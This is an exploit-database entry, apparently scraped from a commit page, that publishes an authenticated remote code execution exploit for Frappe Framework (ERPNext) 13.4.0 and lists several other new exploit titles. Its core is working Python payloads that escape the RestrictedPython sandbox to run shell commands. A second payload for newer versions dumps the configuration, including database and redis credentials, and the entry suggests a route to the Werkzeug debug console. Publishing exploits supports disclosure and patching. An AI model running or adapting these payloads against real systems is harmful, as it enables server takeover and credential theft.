00f5021452
10 changes to exploits/shellcodes/ghdb Ateme TITAN File 3.9 - SSRF File Enumeration Netlify CMS 2.10.192 - Stored Cross-Site Scripting (XSS) Spring Cloud 3.2.2 - Remote Command Execution (RCE) BuildaGate5library v5 - Reflected Cross-Site Scripting (XSS) Park Ticketing Management System 1.0 - 'viewid' SQL Injection Park Ticketing Management System 1.0 - 'viewid' SQL Injection Frappe Framework (ERPNext) 13.4.0 - Remote Code Execution (Authenticated) AVG Anti Spyware 7.5 - Unquoted Service Path _AVG Anti-Spyware Guard_ Game Jackal Server v5 - Unquoted Service Path _GJServiceV5_ MiniTool Partition Wizard ShadowMaker v.12.7 - Unquoted Service Path _MTAgentService_ MiniTool Partition Wizard ShadowMaker v.12.7 - Unquoted Service Path _MTSchedulerService_
47 lines
No EOL
1.8 KiB
Text
47 lines
No EOL
1.8 KiB
Text
# Exploit Title: Frappe Framework (ERPNext) 13.4.0 - Remote Code Execution (Authenticated)
|
|
# Exploit Author: Sander Ferdinand
|
|
# Date: 2023-06-07
|
|
# Version: 13.4.0
|
|
# Vendor Homepage: http://erpnext.org
|
|
# Software Link: https://github.com/frappe/frappe/
|
|
# Tested on: Ubuntu 22.04
|
|
# CVE : none
|
|
|
|
Silly sandbox escape.
|
|
|
|
> Frappe Framework uses the RestrictedPython library to restrict access to methods available for server scripts.
|
|
|
|
Requirements:
|
|
- 'System Manager' role (which is not necessarily the admin)
|
|
- Server config `server_script_enabled` set to `true` (likely)
|
|
|
|
Create a new script over at `/app/server-script`, set type to API, method to 'lol' and visit `/api/method/lol` to execute payload.
|
|
|
|
```python3
|
|
hax = "echo pwned > /tmp/pwned"
|
|
g=({k:v('os').popen(hax).read() for k,v in g.gi_frame.f_back.f_back.f_back.f_back.f_builtins.items() if 'import' in k}for x in(0,))
|
|
for x in g:0
|
|
```
|
|
|
|
Context:
|
|
- https://ur4ndom.dev/posts/2023-07-02-uiuctf-rattler-read/
|
|
- https://gist.github.com/lebr0nli/c2fc617390451f0e5a4c31c87d8720b6
|
|
- https://frappeframework.com/docs/v13/user/en/desk/scripting/server-script
|
|
- https://github.com/frappe/frappe/blob/v13.4.0/frappe/utils/safe_exec.py#L42
|
|
|
|
Bonus:
|
|
|
|
More recent versions (14.40.1 as of writing) block `gi_frame` but there is still a read primitive to escape the sandbox via `format_map`:
|
|
|
|
```python3
|
|
hax = """
|
|
{g.gi_frame.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_globals[frappe].local.conf}
|
|
""".strip()
|
|
|
|
g=(frappe.msgprint(hax.format_map({'g': g}))for x in(0,))
|
|
for x in g:0
|
|
```
|
|
|
|
Which prints the Frappe config like database/redis credentials, etc.
|
|
|
|
In the unlikely case that Werkzeug is running with `use_evalex`, you may use the above method to retreive the werkzeug secret PIN, then browse to `/console` (or raise an exception) for RCE. |